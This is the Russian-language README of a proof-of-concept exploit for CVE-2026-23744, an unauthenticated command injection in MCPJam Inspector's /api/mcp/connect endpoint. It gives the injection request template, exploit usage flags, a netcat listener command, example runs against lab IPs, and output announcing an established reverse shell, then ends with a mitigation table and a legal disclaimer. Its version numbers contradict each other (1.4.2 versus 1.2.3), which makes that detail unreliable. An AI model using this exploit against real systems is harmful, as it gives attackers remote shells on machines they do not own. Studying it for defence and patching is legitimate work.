
Эксплойт PoC для CVE-2026-23744 — неаутентифицированное RCE в MCPJam Inspector через невалидированную инъекцию команды serverConfig на /api/mcp/connect, позволяющее получить reverse shell от имени владельца процесса без учетных данных.
MCPJam — это инспектор и прокси с открытым исходным кодом для MCP (Model Context Protocol), используемый для подключения, отладки и управления MCP-серверами. Версии <= 1.4.2 expose endpoint /api/mcp/connect без аутентификации или проверки ввода. Неавторизованный удаленный злоумышленник может внедрить произвольные команды ОС через поля serverConfig.command / serverConfig.args, получив возможность удаленного выполнения кода с привилегиями владельца процесса.
| Поле | Значение |
|---|
| CVE ID | CVE-2026-23744 |
| CVSS Score | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-78 — Некорректная нейтрализация специальных элементов в команде ОС |
| Компонент | MCPJam MCP Proxy Inspector |
| Затрагиваемые версии | MCPJam <= 1.4.2 |
| Исправлено в | MCPJam >= 1.4.3 |
| Вектор атаки | Сеть — аутентификация не требуется |
| Дата раскрытия | 2026-01-15 |
Уязвимый endpoint принимает неавторизованный JSON-запрос POST:
POST /api/mcp/connect HTTP/1.1
Host: <target>:3000
Content-Type: application/json
{
"serverConfig": {
"command": "sh",
"args": ["-c", "<ATTACKER_CONTROLLED>"],
"env": {}
},
"serverId": "any_string"
}
MCPJam передает command и args напрямую в spawner процессов Node.js (child_process.spawn или эквивалент) без:
Злоумышленник, имеющий доступ к порту 3000 (по умолчанию), может передать полезную нагрузку reverse-shell в args[1], получив shell от имени владельца процесса MCPJam — часто это root или сервисная учетная запись с широким доступом к системе.
Отсутствие промежуточного программного обеспечения аутентификации на /api/mcp/connect в сочетании с неконтролируемым использованием предоставленных пользователем значений в вызове spawn процесса создает классическую неавторизованную инъекцию команд ОС (CWE-78).
pip install requests urllib3
-t, --target IP-адрес или имя хоста цели
-p, --port Порт цели (по умолчанию MCPJam: 3000)
-l, --lhost Локальный IP для обратного вызова reverse-shell
-r, --lport Локальный порт для обратного вызова reverse-shell
--timeout Время ожидания доступности цели в секундах (по умолчанию: 30)
--shell-timeout Таймаут POST перед предположением о сбросе shell (по умолчанию: 5)
-v, --verbose Выводить полное тело HTTP-ответа
1. Запустите netcat-слушатель на своей машине:
nc -lvnp 4444
2. Запустите эксплойт:
# Базовый
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 4444
# Подробный вывод + увеличенный таймаут доступности (для медленных целей)
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 4444 --timeout 60 -v
# Более длинный таймаут shell (больше времени перед предположением, что shell установлен)
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 9001 --shell-timeout 10
╔═══════════════════════════════════════════════════════════════════╗
║ MCPJam · Unauthenticated RCE via serverConfig Injection ║
║ CVE-2026-23744 ║
╚═══════════════════════════════════════════════════════════════════╝
CVE ID : CVE-2026-23744
Component : MCPJam MCP Proxy Inspector
Affected : <= 1.2.3 → Patched: >= 1.2.4
CVSS Score : 9.8 (Critical)
CVSS Vector : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE : CWE-78 — OS Command Injection
Type : Unauthenticated Remote Code Execution (Network / No Auth)
Reference : https://nvd.nist.gov/vuln/detail/CVE-2026-23744
10:32:01 [*] Probing target 10.10.11.50:3000 (max 30s) ...
10:32:02 [+] Target is alive — HTTP 200
10:32:02 [*] Exploit endpoint : http://10.10.11.50:3000/api/mcp/connect
10:32:02 [*] Reverse-shell CB : 10.10.14.5:4444
10:32:02 [!] Ensure listener : nc -lvnp 4444
10:32:02 [*] Firing payload ...
10:32:07 [+] POST timed out after 5s — reverse shell likely established on 10.10.14.5:4444
10:32:07 [+] Switch to your netcat listener — incoming connection expected.
10:32:07 [+] Exploit routine complete.
Таймаут = индикатор успеха. Когда POST-запрос истекает по тайм-ауту, целевой процесс блокируется на открытом reverse-shell — это ожидаемое поведение, подтверждающее достижение RCE. Немедленно переключитесь на свой слушатель.
| Приоритет | Действие |
|---|---|
| Критический | Обновите MCPJam до >= 1.4.3 |
| Высокий | Ограничьте доступ к /api/mcp/connect с помощью промежуточного ПО аутентификации |
| Высокий | Примените правило брандмауэра на уровне сети, ограничивающее доступ к порту MCPJam доверенными IP |
| Средний | Внедрите разрешенный список допустимых значений для serverConfig.command |
| Средний | Запускайте MCPJam внутри контейнера / с ограниченным пользователем Linux (без shell, без /dev/tcp) |
| Низкий | Включите аудит событий создания процессов |
Данный эксплойт предоставлен исключительно в образовательных целях и для авторизованного тестирования безопасности. Используйте только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Несанкционированное использование является незаконным и неэтичным.